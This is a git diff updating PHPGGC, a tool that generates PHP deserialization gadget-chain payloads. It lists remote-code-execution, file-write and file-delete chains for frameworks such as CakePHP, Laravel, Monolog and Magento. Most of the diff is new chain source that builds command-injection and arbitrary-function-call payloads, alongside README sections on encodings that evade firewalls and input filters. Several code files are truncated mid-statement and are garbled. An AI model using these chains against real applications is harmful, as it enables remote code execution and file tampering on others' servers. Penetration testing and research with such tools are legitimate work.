diff --git a/README.md b/README.md index 743295f..c861f3e 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,6 @@ ## Requirements PHP >= 5.6 is required to run PHPGGC. -PHP 8 is not yet supported. ## Usage @@ -21,78 +20,101 @@ Gadget Chains ------------- -NAME VERSION TYPE VECTOR I -CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct -CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct -Doctrine/FW1 ? File write __toString * -Drupal7/FD1 7.0 < ? File delete __destruct * -Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * -Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct -Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * -Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * -Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * -Laminas/FD1 <= 2.11.2 File delete __destruct -Laravel/RCE1 5.4.27 RCE (Function call) __destruct -Laravel/RCE2 5.5.39 RCE (Function call) __destruct -Laravel/RCE3 5.5.39 RCE (Function call) __destruct * -Laravel/RCE4 5.5.39 RCE (Function call) __destruct -Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * -Laravel/RCE6 5.5.* RCE (PHP code) __destruct * -Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * -Magento/FW1 ? <= 1.9.4.0 File write __destruct * -Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct -Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct -Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct -Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct -Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * -Phalcon/RCE1 <= 1.2.2 RCE __wakeup * -PHPCSFixer/FD1 <= 2.17.3 File delete __destruct -PHPCSFixer/FD2 <= 2.17.3 File delete __destruct -PHPExcel/FD1 1.8.2+ File delete __destruct -PHPExcel/FD2 <= 1.8.1 File delete __destruct -PHPExcel/FD3 1.8.2+ File delete __destruct -PHPExcel/FD4 <= 1.8.1 File delete __destruct -Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString -Slim/RCE1 3.8.1 RCE (Function call) __toString -Smarty/FD1 ? File delete __destruct -Smarty/SSRF1 ? SSRF __destruct * -SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct -SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString -SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString -SwiftMailer/FW3 5.0.1 File write __toString -SwiftMailer/FW4 4.0.0 <= ? File write __destruct -Symfony/FW1 2.5.2 File write DebugImport * -Symfony/FW2 3.4 File write __destruct -Symfony/RCE1 3.3 RCE (Command) __destruct * -Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * -Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * -Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * -TCPDF/FD1 <= 6.3.5 File delete __destruct * -ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * -WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * -WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * -WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * -WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * -Yii/RCE1 1.1.20 RCE (Function call) __wakeup * -Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * -Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * -ZendFramework/FD1 ? <= 1.12.20 File delete __destruct -ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * -ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * -ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct -ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * - +NAME VERSION TYPE VECTOR I +CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct +CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct +CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct +CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct +CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct +Doctrine/FW1 ? File write __toString * +Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * +Dompdf/FD1 1.1.1 <= ? File delete __destruct * +Dompdf/FD2 ? < 1.1.1 File delete __destruct * +Drupal7/FD1 7.0 < ? File delete __destruct * +Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * +Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct +Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * +Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * +Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * +Kohana/FR1 3.* File read __toString * +Laminas/FD1 <= 2.11.2 File delete __destruct +Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * +Laravel/RCE1 5.4.27 RCE (Function call) __destruct +Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString +Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct +Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * +Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct +Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * +Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * +Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * +Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * +Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct +Magento/FW1 ? <= 1.9.4.0 File write __destruct * +Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct +Magento2/FD1 * File delete __destruct * +Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * +Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct +Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * +Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * +Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * +Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * +Phalcon/RCE1 <= 1.2.2 RCE __wakeup * +PHPCSFixer/FD1 <= 2.17.3 File delete __destruct +PHPCSFixer/FD2 <= 2.17.3 File delete __destruct +PHPExcel/FD1 1.8.2+ File delete __destruct +PHPExcel/FD2 <= 1.8.1 File delete __destruct +PHPExcel/FD3 1.8.2+ File delete __destruct +PHPExcel/FD4 <= 1.8.1 File delete __destruct +PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * +Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString +Slim/RCE1 3.8.1 RCE (Function call) __toString +Smarty/FD1 ? File delete __destruct +Smarty/SSRF1 ? SSRF __destruct * +SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct +SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString +SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString +SwiftMailer/FW3 5.0.1 File write __toString +SwiftMailer/FW4 4.0.0 <= ? File write __destruct +Symfony/FW1 2.5.2 File write DebugImport * +Symfony/FW2 3.4 File write __destruct +Symfony/RCE1 3.3 RCE (Command) __destruct * +Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * +Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * +Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * +Symfony/RCE5 5.2.* RCE (Function call) __destruct +TCPDF/FD1 <= 6.3.5 File delete __destruct * +ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * +ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * +ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * +ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * +Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * +WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * +WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * +WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * +WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * +Yii/RCE1 1.1.20 RCE (Function call) __wakeup * +Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * +Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * +ZendFramework/FD1 ? <= 1.12.20 File delete __destruct +ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * +ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * +ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct +ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * ``` Filter gadget chains: @@ -103,14 +125,17 @@ Gadget Chains ------------- -NAME VERSION TYPE VECTOR I -Laravel/RCE1 5.4.27 RCE (Function call) __destruct -Laravel/RCE2 5.5.39 RCE (Function call) __destruct -Laravel/RCE3 5.5.39 RCE (Function call) __destruct * -Laravel/RCE4 5.5.39 RCE (Function call) __destruct -Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * -Laravel/RCE6 5.5.* RCE (PHP code) __destruct * -Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * +NAME VERSION TYPE VECTOR I +Laravel/RCE1 5.4.27 RCE (Function call) __destruct +Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString +Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct +Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * +Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct +Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * +Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * +Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * +Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * +Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct ``` @@ -157,9 +182,9 @@ The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions: -- `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters -- `process_object($object)`: Called right **before** `serialize()`, allows to change the object -- `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string +- `process_parameters(array $parameters)`: Called right **before** `generate()`, allows to change parameters +- `process_object(object $object)`: Called right **before** `serialize()`, allows to change the object +- `process_serialized(string $serialized)`: Called right **after** `serialize()`, allows to change the serialized string For instance, if the vulnerable code looks like this: @@ -234,16 +259,74 @@ ### ASCII Strings -Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation: +Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation: `s:5:"AB";̀` -> `S:5:"A\00B\09\0D";` This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. *Note: this is experimental and it might not work in some cases.* +### Armor Strings + +Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation: +`s:5:"AB";̀` -> `S:5:"\41\00\42\09\0D";` +This comes handy when a firewall or PHP code blocks strings. +*Note: this is experimental and it might not work in some cases.* +*Note: this makes each string in the payload grow by a factor of 3.* + ### Plus Numbers Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers `, or `-n `, to automatically add these `+` signs in front of symbols. -For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +. - +For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`. + +### Testing your chain + +To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option. + +For instance, to test if `Monolog/RCE2` works on Symfony `4.x`: + +``` +$ composer create-project symfony/website-skeleton=4.x some_symfony +$ cd some_symfony +$ phpggc monolog/rce2 --test-payload +Trying to deserialize payload... +SUCCESS: Payload triggered ! +``` + +The exit code will be `0` if the payload triggered, `1` otherwise. + +### Testing your chain against every version of a package + +If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`. + +``` +$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 +Testing 59 versions for monolog/monolog against 2 gadget chains. + +┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ +┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ +┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ +│ 2.x-dev │ OK │ OK │ KO │ +│ 2.3.0 │ OK │ OK │ KO │ +│ 2.2.0 │ OK │ OK │ KO │ +│ 2.1.1 │ OK │ OK │ KO │ +│ 2.1.0 │ OK │ OK │ KO │ +│ 2.0.2 │ OK │ OK │ KO │ +│ 2.0.1 │ OK │ OK │ KO │ +│ 2.0.0 │ OK │ OK │ KO │ +│ 2.0.0-beta2 │ OK │ OK │ KO │ +│ 2.0.0-beta1 │ OK │ OK │ KO │ +│ 1.x-dev │ OK │ OK │ KO │ +│ 1.26.1 │ OK │ OK │ KO │ +│ 1.26.0 │ OK │ OK │ KO │ +│ 1.25.5 │ OK │ OK │ KO │ +│ 1.25.4 │ OK │ OK │ KO │ + ... +│ 1.0.1 │ OK │ KO │ KO │ +│ 1.0.0 │ OK │ KO │ KO │ +│ 1.0.0-RC1 │ OK │ KO │ KO │ +│ dev-main │ OK │ OK │ KO │ +│ * dev-phpstan │ OK │ OK │ KO │ +└─────────────────┴─────────┴──────────────┴──────────────┘ +``` # API @@ -293,8 +376,8 @@ - `__destruct()` is always the best vector - Specify at least the version of the library you've built the payload on -- Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems. - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger. +- Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation. Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_. You can define pre- and post- processing methods, if parameters need to be modified. @@ -305,8 +388,7 @@ For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain. - -## Docker +# Docker If you don't want to install PHP, you can use `docker build`. diff --git a/debian/changelog b/debian/changelog index 60174cc..ac6a134 100644 --- a/debian/changelog +++ b/debian/changelog @@ -1,3 +1,9 @@ +phpggc (0.20220627-0kali1) UNRELEASED; urgency=low + + * New upstream release. + + -- Kali Janitor Wed, 14 Sep 2022 18:03:05 -0000 + phpggc (0.20210218-0kali1) kali-dev; urgency=medium * Configure debian/watch to track git master diff --git a/gadgetchains/CakePHP/RCE/1/chain.php b/gadgetchains/CakePHP/RCE/1/chain.php new file mode 100644 index 0000000..afbcb74 --- /dev/null +++ b/gadgetchains/CakePHP/RCE/1/chain.php @@ -0,0 +1,17 @@ +options['create_new_console'] = 0; + $this->processPipes = new Table($cmd); + $this->status = "started"; + $this->process = 1; + } + } +} + +namespace Cake\ORM +{ + use Cake\Shell\ServerShell; + + class Table + { + protected $_behaviors; + + public function __construct($cmd) + { + $this->_behaviors = new BehaviorRegistry($cmd); + } + } + + class BehaviorRegistry + { + protected $_methodMap; + protected $_loaded; + + public function __construct($cmd) + { + $this->_methodMap = ['readandwrite' => ['mb', 'main']]; + $this->_loaded = ['mb' => new ServerShell($cmd)]; + } + } +} + +namespace Cake\Shell +{ + use Cake\Console\ConsoleIo; + + class ServerShell + { + protected $_host; + protected $_port; + protected $_documentRoot; + protected $_io; + + public function __construct($cmd) + { + $this->_host = '& ' . $cmd . ' &'; // command injection + $this->_port = ''; + $this->_documentRoot = ''; + $this->_io = new ConsoleIo(); + } + } +} + +namespace Cake\Console +{ + class ConsoleIo + { + protected $_out; + + public function __construct() + { + $this->_level = -100; + } + } +} diff --git a/gadgetchains/CakePHP/RCE/2/chain.php b/gadgetchains/CakePHP/RCE/2/chain.php new file mode 100644 index 0000000..7dcd552 --- /dev/null +++ b/gadgetchains/CakePHP/RCE/2/chain.php @@ -0,0 +1,18 @@ +options['create_new_console'] = 0; + $this->processPipes = new Table($func, $args); + $this->status = "started"; + $this->process = 1; + } + } +} + + +namespace Cake\ORM +{ + use Cake\Database\Statement\CallbackStatement; + + class Table + { + protected $_behaviors; + + public function __construct($func,$args) + { + $this->_behaviors = new BehaviorRegistry($func, $args); + } + } + + class BehaviorRegistry + { + protected $_methodMap; + protected $_loaded; + + public function __construct($func, $args) + { + $this->_methodMap = ['readandwrite' => ['mb','fetch']]; + $this->_loaded = ['mb' => new CallbackStatement($func, $args)]; + } + } +} + +namespace Cake\Database\Statement +{ + class CallbackStatement + { + protected $_callback; + protected $_statement; + + public function __construct($func, $args) + { + $this->_callback = $func; + $this->_statement = new BufferedStatement($args); + } + } + + class BufferedStatement + { + protected $_allFetched; + protected $buffer; + protected $index; + + public function __construct($args) + { + $this->_allFetched = 1; + $this->buffer = [$args]; + $this->index = 0; + } + } +} \ No newline at end of file diff --git a/gadgetchains/CodeIgniter4/RCE/3/chain.php b/gadgetchains/CodeIgniter4/RCE/3/chain.php new file mode 100644 index 0000000..237d755 --- /dev/null +++ b/gadgetchains/CodeIgniter4/RCE/3/chain.php @@ -0,0 +1,18 @@ +default = $cmd; //open /System/Applications/Calculator.app + } + } +} + +namespace Faker +{ + class ValidGenerator + { + protected $generator; + protected $validator; + protected $maxRetries; + + public function __construct($generator, $func) + { + $this->maxRetries = 1; //执行次数 + $this->validator = $func; + $this->generator = $generator; + } + } +} + +namespace CodeIgniter\Session\Handlers +{ + class MemcachedHandler + { + public $lockKey = "Firebasky"; + public $memcached; + + public function __construct($memcached) + { + $this->memcached = $memcached; + } + } +} + +namespace CodeIgniter\Cache\Handlers +{ + class RedisHandler + { + public $redis; + + public function __construct($func, $param) + { + $this->redis = + new \CodeIgniter\Session\Handlers\MemcachedHandler( + new \Faker\ValidGenerator((new \Faker\DefaultGenerator($param)), $func) + ); + } + } +} diff --git a/gadgetchains/Doctrine/FW/2/chain.php b/gadgetchains/Doctrine/FW/2/chain.php new file mode 100644 index 0000000..fa8b4a3 --- /dev/null +++ b/gadgetchains/Doctrine/FW/2/chain.php @@ -0,0 +1,33 @@ +deferredItems = ['x' => $CacheItem]; + $this->cache = $FilesystemCache; + } + } + class CacheItem + { + private $value; + + public function __construct($phpCode) + { + $this->value = $phpCode; + } + } +} + +namespace Doctrine\Common\Cache +{ + class FileCache + { + private $extension; + protected $directory; + private $umask = 0002; + + public function __construct($extension, $directory) + { + $this->extension = $extension; + $this->directory = $directory; + } + } + + class FilesystemCache extends FileCache {} +} diff --git a/gadgetchains/Dompdf/FD/1/chain.php b/gadgetchains/Dompdf/FD/1/chain.php new file mode 100644 index 0000000..7028fa6 --- /dev/null +++ b/gadgetchains/Dompdf/FD/1/chain.php @@ -0,0 +1,19 @@ +imageCache, $remote_path); + } + +} diff --git a/gadgetchains/Dompdf/FD/2/chain.php b/gadgetchains/Dompdf/FD/2/chain.php new file mode 100644 index 0000000..a3145e8 --- /dev/null +++ b/gadgetchains/Dompdf/FD/2/chain.php @@ -0,0 +1,19 @@ +_dompdf = new Dompdf(); + array_push($this->_image_cache, $remote_path); + } + } +} + +namespace Dompdf { + class Options { + public $debugPng = false; + } + + class Dompdf { + public $options; + + public function __construct() { + $this->options = new Options(); + } + } +} \ No newline at end of file diff --git a/gadgetchains/Drupal7/FD/1/chain.php b/gadgetchains/Drupal7/FD/1/chain.php index f8b6a0d..f8d95df 100644 --- a/gadgetchains/Drupal7/FD/1/chain.php +++ b/gadgetchains/Drupal7/FD/1/chain.php @@ -13,6 +13,6 @@ public function generate(array $parameters) { - return new \Archive_Tar($parameters['remote_file']); + return new \Archive_Tar($parameters['remote_path']); } } diff --git a/gadgetchains/Kohana/FR/1/chain.php b/gadgetchains/Kohana/FR/1/chain.php new file mode 100644 index 0000000..1aed471 --- /dev/null +++ b/gadgetchains/Kohana/FR/1/chain.php @@ -0,0 +1,16 @@ +_file = $_file; + } +} \ No newline at end of file diff --git a/gadgetchains/Laminas/FD/1/chain.php b/gadgetchains/Laminas/FD/1/chain.php index 00c78af..cbc084c 100644 --- a/gadgetchains/Laminas/FD/1/chain.php +++ b/gadgetchains/Laminas/FD/1/chain.php @@ -10,8 +10,8 @@ public function generate(array $parameters) { - $remote_file = $parameters["remote_file"]; + $remote_path = $parameters["remote_path"]; - return new \Laminas\Http\Response\Stream($remote_file); + return new \Laminas\Http\Response\Stream($remote_path); } } diff --git a/gadgetchains/Laminas/FD/1/gadgets.php b/gadgetchains/Laminas/FD/1/gadgets.php index 065d520..f8f9e77 100644 --- a/gadgetchains/Laminas/FD/1/gadgets.php +++ b/gadgetchains/Laminas/FD/1/gadgets.php @@ -1,9 +1,13 @@ cleanup = '1'; - $this->streamName = $remote_file; + $this->streamName = $remote_path; } } } diff --git a/gadgetchains/Laminas/FW/1/chain.php b/gadgetchains/Laminas/FW/1/chain.php new file mode 100644 index 0000000..0b812d9 --- /dev/null +++ b/gadgetchains/Laminas/FW/1/chain.php @@ -0,0 +1,43 @@ +namespace = ''; + $this->keyPattern = '/.*/'; + } + } + + class FilesystemOptions extends AdapterOptions + { + protected $cacheDir; + protected $dirLevel; + protected $suffix; + + function __construct($cacheDir, $extension) + { + parent::__construct(); + $this->cacheDir = $cacheDir; + $this->suffix = $extension; + $this->dirLevel = 0; + } + } + + class Filesystem + { + protected $options; + + function __construct($options) + { + + $this->options = $options; + } + } +} + +namespace Laminas\Cache\Psr\CacheItemPool +{ + class CacheItemPoolDecorator + { + protected $storage; + protected $deferred; + + function __construct($storage, $deferred) + { + $this->storage = $storage; + $this->deferred = $deferred; + } + } + + class CacheItem + { + protected $key; + protected $value; + + function __construct($key, $value) + { + $this->key = $key; + $this->value = $value; + } + } +} diff --git a/gadgetchains/Laravel/RCE/10/chain.php b/gadgetchains/Laravel/RCE/10/chain.php new file mode 100644 index 0000000..3e34888 --- /dev/null +++ b/gadgetchains/Laravel/RCE/10/chain.php @@ -0,0 +1,22 @@ +condition = $condition; + } + } +} + +namespace Illuminate\Auth +{ + class RequestGuard + { + public function __construct($callback, $request, $provider) + { + $this->callback = $callback; + $this->request = $request; + $this->provider = $provider; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Laravel/RCE/2/chain.php b/gadgetchains/Laravel/RCE/2/chain.php index e619aaf..df44a40 100644 --- a/gadgetchains/Laravel/RCE/2/chain.php +++ b/gadgetchains/Laravel/RCE/2/chain.php @@ -4,7 +4,7 @@ class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall { - public static $version = '5.5.39'; + public static $version = '5.4.0 <= 8.6.9+'; public static $vector = '__destruct'; public static $author = 'BlackFan'; diff --git a/gadgetchains/Laravel/RCE/3/chain.php b/gadgetchains/Laravel/RCE/3/chain.php index 6439920..3b9a21c 100644 --- a/gadgetchains/Laravel/RCE/3/chain.php +++ b/gadgetchains/Laravel/RCE/3/chain.php @@ -4,7 +4,7 @@ class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall { - public static $version = '5.5.39'; + public static $version = '5.5.0 <= 5.8.35'; public static $vector = '__destruct'; public static $author = 'BlackFan'; public static $information = 'This chain triggers an ErrorException after code execution.'; diff --git a/gadgetchains/Laravel/RCE/4/chain.php b/gadgetchains/Laravel/RCE/4/chain.php index b5ce342..be40075 100644 --- a/gadgetchains/Laravel/RCE/4/chain.php +++ b/gadgetchains/Laravel/RCE/4/chain.php @@ -4,7 +4,7 @@ class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall { - public static $version = '5.5.39'; + public static $version = '5.4.0 <= 8.6.9+'; public static $vector = '__destruct'; public static $author = 'BlackFan'; diff --git a/gadgetchains/Laravel/RCE/6/chain.php b/gadgetchains/Laravel/RCE/6/chain.php index 15853e1..95fa79c 100644 --- a/gadgetchains/Laravel/RCE/6/chain.php +++ b/gadgetchains/Laravel/RCE/6/chain.php @@ -4,7 +4,7 @@ class RCE6 extends \PHPGGC\GadgetChain\RCE\PHPCode { - public static $version = '5.5.*'; + public static $version = '5.5.* <= 5.8.35'; public static $vector = '__destruct'; public static $author = 'Phith0n & holyvier'; public static $information = ' diff --git a/gadgetchains/Laravel/RCE/8/chain.php b/gadgetchains/Laravel/RCE/8/chain.php new file mode 100644 index 0000000..eb1bd1a --- /dev/null +++ b/gadgetchains/Laravel/RCE/8/chain.php @@ -0,0 +1,21 @@ +filename = $r; + } + } +} + +namespace Illuminate\Validation\Rules +{ + class RequiredIf + { + public function __construct($p) + { + $this->condition = [$p, 'get']; + } + } +} + +namespace PhpOption +{ + final class LazyOption + { + private $callback; + private $arguments; + + function __construct($callback, $arguments) + { + $this->callback = $callback; + $this->arguments = $arguments; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Laravel/RCE/9/chain.php b/gadgetchains/Laravel/RCE/9/chain.php new file mode 100644 index 0000000..edf1915 --- /dev/null +++ b/gadgetchains/Laravel/RCE/9/chain.php @@ -0,0 +1,21 @@ +queueResolver = $function; + + } + } +} + +namespace Illuminate\Broadcasting +{ + use Illuminate\Contracts\Queue\ShouldQueue; + + class BroadcastEvent implements ShouldQueue + { + function __construct() + { + + } + } + + class PendingBroadcast + { + protected $events; + protected $event; + + function __construct($dispatcher,$param) + { + $this->event = new BroadcastEvent(); + $this->event->connection = $param; + $this->events = $dispatcher; + } + } +} + diff --git a/gadgetchains/Magento2/FD/1/chain.php b/gadgetchains/Magento2/FD/1/chain.php new file mode 100644 index 0000000..03bb492 --- /dev/null +++ b/gadgetchains/Magento2/FD/1/chain.php @@ -0,0 +1,19 @@ +driver = new \Magento\Framework\Filesystem\Driver\File(); + } + } +} + +namespace Magento\RemoteStorage\Plugin { + class Image { + public function __construct($file) { + $this->tmpDirectoryWrite = new \Magento\Framework\Filesystem\Directory\Write(); + $this->tmpFiles = 